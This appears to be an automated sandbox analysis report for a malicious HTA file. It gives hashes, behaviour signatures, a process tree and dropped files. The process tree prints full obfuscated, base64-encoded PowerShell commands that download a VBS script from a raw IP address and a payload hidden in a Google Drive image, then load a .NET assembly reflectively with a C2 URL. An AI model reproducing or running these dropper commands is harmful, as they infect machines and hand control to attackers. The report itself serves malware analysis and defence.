Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    01-11-2024 05:24

General

  • Target

    c0efd41f38466ebdf9a361f924bc0c6b11eb5e68c9b1adb4531df5b302f155e0.hta

  • Size

    205KB

  • MD5

    169a69d33b8480d6ba11f950cb28ff48

  • SHA1

    f74e2a219d7cf49a08bd12dbd4dcde6b63578563

  • SHA256

    c0efd41f38466ebdf9a361f924bc0c6b11eb5e68c9b1adb4531df5b302f155e0

  • SHA512

    7b16659dd7c2bb88870d5c2185b323c078c4b8009bea7ecab534a3705b3c4d585e9dc42acff3122bc718ba884c801db198c73b2630ebecb8f67b17ebcf762236

  • SSDEEP

    48:4FhWsTR/F7gNqXfkwzTqzw4S7u2WAhq0K8Kw99Dd7gZoSdrq67mz9z12gcie9NzB:43F97AcaIN6wfNcoSdrruh2iuRGQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\c0efd41f38466ebdf9a361f924bc0c6b11eb5e68c9b1adb4531df5b302f155e0.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:1800
    • C:\Windows\SysWOW64\wIndOWspOweRsHElL\v1.0\powERshELL.eXE
      "C:\Windows\sYstEM32\wIndOWspOweRsHElL\v1.0\powERshELL.eXE" "pOwerShELL -EX bYpaSS -NOp -W 1 -C DEViCeCREDENTiAlDePloYMENT.ExE ; IeX($(IeX('[SYSteM.TEXT.encodING]'+[CHAR]58+[cHar]58+'uTF8.GeTStrINg([SYsTEm.ConVERT]'+[CHAR]0x3a+[cHaR]58+'frOMbasE64STriNg('+[chaR]34+'JHlLdEl4amsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELVRZcEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVtYmVyREVmaW5pVGlPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxtT24iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0RyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxZEtVLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdFQURoRXFaSyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd1JPVnRsLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFhTcyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIktwY3ZWayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwQWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0JvcCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkeUt0SXhqazo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzQ1LjE0OS4yNDEuMTgzL01QRFctY29uc3RyYWludHMudmJzIiwiJGVOVjpBUFBEQVRBXG5lZXRhbmRjbGVhbnRoaW5nc2Zvcmdvb2QudmJzIiwwLDApO1N0QXJ0LXNsRUVQKDMpO3NUYVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFblY6QVBQREFUQVxuZWV0YW5kY2xlYW50aGluZ3Nmb3Jnb29kLnZicyI='+[ChAR]34+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2536
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYpaSS -NOp -W 1 -C DEViCeCREDENTiAlDePloYMENT.ExE
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2752
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\facikr8e.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2744
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9ED0.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC9ECF.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2772
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\neetandcleanthingsforgood.vbs"
        3⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1320
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdmRUdpbWFnZScrJ1VybCA9IGVJR2h0dHBzOi8nKycvZHJpdmUuZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIGVJRztmRUd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2ZFR2ltYWdlQnl0ZXMgPSBmRUd3ZWJDbGllbnQuRG93bmxvYWREYXRhKGZFR2ltYWdlVXJsJysnKTtmRUdpbWEnKydnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhmRUdpbWFnZUJ5dGVzKTtmRUdzdGFydEZsYWcgPSBlSUc8JysnPEJBU0U2NF9TVEFSVD4+ZUlHO2ZFR2VuZEZsYWcgPSBlSUc8JysnPEJBU0U2NF9FTkQ+PmVJRztmRUdzdGFydEluZGV4ID0gZkVHaW1hZ2VUJysnZXh0LkluZGV4T2YoZkVHc3RhcnRGbGFnKTtmRUdlbmRJbmRleCA9IGZFR2ltYWdlVGV4dC5JbmRleCcrJ09mKGZFR2VuZEZsYWcnKycpO2ZFR3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBmRUdlbmRJbmRleCAtZ3QgZkVHc3RhcnRJbmRleCcrJztmRUdzdGFydEluZGV4ICs9IGZFR3N0YXJ0RmxhZy5MZW5ndGg7ZkVHYmFzZTY0TGVuZ3RoID0gZkVHZW5kSW5kZXggLSBmRUdzdGFydEluZGV4O2ZFR2JhcycrJ2U2NENvbW1hbmQgPSBmRUdpbWFnZVRleHQuU3Vic3RyaW5nKGZFR3N0YXJ0SW5kZXgsIGZFR2Jhc2U2NExlbmd0aCk7ZkVHYicrJ2FzZTY0UmV2ZXJzZWQgPSAtam9pbiAoZkVHYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIEhldyBGJysnb3JFYWNoLU9iamVjdCB7IGZFR18nKycgfSlbLTEuLi0oZkVHYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtmRUcnKydjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGJysncm9tQmFzZTY0U3RyaW5nKGZFR2Jhc2U2NFJldmVyc2VkKTtmRUdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV0nKyc6OkxvYWQoZkVHY29tbWFuZEJ5dGVzKTtmRUd2YWlNZXRob2QgPSBbZG5saWIuSU8uJysnSG9tZV0uR2V0TWV0aG9kKGVJR1ZBSWVJRycrJyk7ZkVHdmFpTWV0aG9kLkludicrJ29rZShmRUdudWxsLCBAKGVJR3R4dC5kJysndWR1ZHVkdWR1RC8zODEuMTQyLjk0MS41NC8vOnB0dGhlSUcsIGVJR2QnKydlc2F0aXZhZG9lSUcsJysnIGVJR2Rlc2F0aXZhZG9lSUcsIGVJR2Rlc2F0aXZhZG9lSUcsIGVJR0FkZEluUHJvY2VzczMyZUlHLCBlSScrJ0dkZXNhdGl2YWRvZUlHLCBlSUdkZXNhdGl2YWRvZUlHLGVJR2RlJysnc2F0aXZhZG9lSUcsZUlHZGVzYXRpdmFkb2VJRyxlSUdkZXNhdGl2YWRvZUlHLGVJR2Rlc2F0aXZhZG9lSUcsZUlHZGVzYXRpdmFkb2VJRyxlSUcxZUlHLGVJR2Rlc2F0aXZhZG9lSUcpKTsnKS5SZVBMQUNlKChbQ2hhcl0xMDErW0NoYXJdNzMrW0NoYXJdNzEpLFtTVFJpTmddW0NoYXJdMzkpLlJlUExBQ2UoJ2ZFRycsW1NUUmlOZ11bQ2hhcl0zNikuUmVQTEFDZSgoW0NoYXJdNzIrW0NoYXJdMTAxK1tDaGFyXTExOSksW1NUUmlOZ11bQ2hhcl0xMjQpIHwuKCAkRW52OkNvTXNwRWNbNCwyNiwyNV0tSk9JTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:988
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('fEGimage'+'Url = eIGhttps:/'+'/drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur eIG;fEGwebClient = New-Object System.Net.WebClient;fEGimageBytes = fEGwebClient.DownloadData(fEGimageUrl'+');fEGima'+'geText = [System.Text.Encoding]::UTF8.GetString(fEGimageBytes);fEGstartFlag = eIG<'+'<BASE64_START>>eIG;fEGendFlag = eIG<'+'<BASE64_END>>eIG;fEGstartIndex = fEGimageT'+'ext.IndexOf(fEGstartFlag);fEGendIndex = fEGimageText.Index'+'Of(fEGendFlag'+');fEGstartIndex -ge 0 -and fEGendIndex -gt fEGstartIndex'+';fEGstartIndex += fEGstartFlag.Length;fEGbase64Length = fEGendIndex - fEGstartIndex;fEGbas'+'e64Command = fEGimageText.Substring(fEGstartIndex, fEGbase64Length);fEGb'+'ase64Reversed = -join (fEGbase64Command.ToCharArray() Hew F'+'orEach-Object { fEG_'+' })[-1..-(fEGbase64Command.Length)];fEG'+'commandBytes = [System.Convert]::F'+'romBase64String(fEGbase64Reversed);fEGloadedAssembly = [System.Reflection.Assembly]'+'::Load(fEGcommandBytes);fEGvaiMethod = [dnlib.IO.'+'Home].GetMethod(eIGVAIeIG'+');fEGvaiMethod.Inv'+'oke(fEGnull, @(eIGtxt.d'+'ududududuD/381.142.941.54//:pttheIG, eIGd'+'esativadoeIG,'+' eIGdesativadoeIG, eIGdesativadoeIG, eIGAddInProcess32eIG, eI'+'GdesativadoeIG, eIGdesativadoeIG,eIGde'+'sativadoeIG,eIGdesativadoeIG,eIGdesativadoeIG,eIGdesativadoeIG,eIGdesativadoeIG,eIG1eIG,eIGdesativadoeIG));').RePLACe(([Char]101+[Char]73+[Char]71),[STRiNg][Char]39).RePLACe('fEG',[STRiNg][Char]36).RePLACe(([Char]72+[Char]101+[Char]119),[STRiNg][Char]124) |.( $Env:CoMspEc[4,26,25]-JOIN'')"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:920

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RES9ED0.tmp

    Filesize

    1KB

    MD5

    d6f74f66fa8c440baabf6e75d96e5a27

    SHA1

    40e9c8598a00041f58727af94750b08111e18152

    SHA256

    ad5f142e7a12565a83fd82190f642be81f2e45524c5aff9102a945da7450a982

    SHA512

    c6c98b970faa6e49d92493640c83e3c988be8b701f47d581e548af018d4fa57247c2da53c8dcc771d77787bd002e56a077876bdc5a00f4e3b2669f811387d891

  • C:\Users\Admin\AppData\Local\Temp\facikr8e.dll

    Filesize

    3KB

    MD5

    0d5fcf2a7e6fddc4a55551cf6d93ee31

    SHA1

    ee461c098087b48fd3fe11257203b74a9dee328f

    SHA256

    484a30289a3467b08249bb9c845075ce3ac98806a735edbc214f5c5cfad3eba9

    SHA512

    32dd9a70e1a12828b606d3a728de81247a1dcad38b4273a8b67b49af0119ad86948bf1a59ebfafcee58fa576115aacbd02a055a7f170ca29111aee97ccd472c9

  • C:\Users\Admin\AppData\Local\Temp\facikr8e.pdb

    Filesize

    7KB

    MD5

    788e25a6a7d808dbcc3683f99feae816

    SHA1

    567174b4198635f58b4e95495468fe5994fb16d1

    SHA256

    eb41ff9d1b8f6e9a8a1d38aa38765b9223ff23a479346f865fc1f3eeb9ed1fba

    SHA512

    6efeb0303d5b783b0dcd86c8cffbc9de7bee3f953a8100393200698f6e77268b6cd3b6d8c534a26fbbe6fac2ee9b975a84a9ab5fe22cd6b465657cb3acea09aa

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    fdbf7991088f66a4cbb6f0d125bd0e2f

    SHA1

    b9ca51cdbe4330f063c7ec3a7251e446afeaeb49

    SHA256

    a09a8f2fcab09c6827bb309443eb2b7381bec93fc53f698b9a8ddaa8abc1e314

    SHA512

    e92b92807c1e974374e0fb8c32e686efc4699f52205a3e6f144180d4a1b7dc8731e88aff023c58ba599d2c11e1279d5c065070ddb2803e7d2ff0f6ae6323baa2

  • C:\Users\Admin\AppData\Roaming\neetandcleanthingsforgood.vbs

    Filesize

    68KB

    MD5

    d27816d0f221aaf7a0362700a3e0a5b4

    SHA1

    390961053e0642b3715262962533550675dbd9b5

    SHA256

    9a81502d5d1efb62ca49e778c4e117b4784ead30b3565e80bdf5139d9ecd7162

    SHA512

    29e68d3d817699d950f6165e199eaa83cb14f9b0238e53d580ee78b2bf2c883370faf389e24b1fae8aded4758d7399a94ead882ad30398ce8cf9fa564796f76e

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC9ECF.tmp

    Filesize

    652B

    MD5

    d3a80263c8cac27d1a014cdfbf2ae020

    SHA1

    23ac7bb8603e792ee9e6117339072b8016f77acd

    SHA256

    0a04260680f35bea1380db9511eeee7e30d073e3f19b0a4245fa92760649b55a

    SHA512

    12fb17506b32dfde8a546ef2c4ec528c9732aeb5ba59e881cda59b02b50a1c3935897dd6554400449d5c947a4d7d2073857b9c1a1d7e47338e3ed05a3086280f

  • \??\c:\Users\Admin\AppData\Local\Temp\facikr8e.0.cs

    Filesize

    467B

    MD5

    d12717d89552ddb8b59a93f6d7b53650

    SHA1

    8141049952e7f42cd8ff2931934515a6b3901135

    SHA256

    90f46741701b8bb295ffb92a94a70d5233d2ec0f4a58941f7c1fa4a8d6a0276c

    SHA512

    42056b6146e8543dd33cc5645c6527264bfb30cc159259dae2beb03fed25aa719d257ad0e4b96ba0a02f59655ccda5bb4865623e093ad3e7dd621bd3d463a19f

  • \??\c:\Users\Admin\AppData\Local\Temp\facikr8e.cmdline

    Filesize

    309B

    MD5

    a5152bee74eef7acc6a61ba7a24edb73

    SHA1

    68d4d7db811f026c034586502ccd29b626e47699

    SHA256

    03796b1a0f4aeff1db6e255ba3f6c2a045deb5d46ac23aca0f612ab2cb9896b3

    SHA512

    bdc8cf56370b94f606f190c9493b4bea10d12dfdfd8bc901e9a0416173d671b6972a190f56ba1bd742cde88a5699ace9ff2170d483b8a9cb6dea1fb13538f61b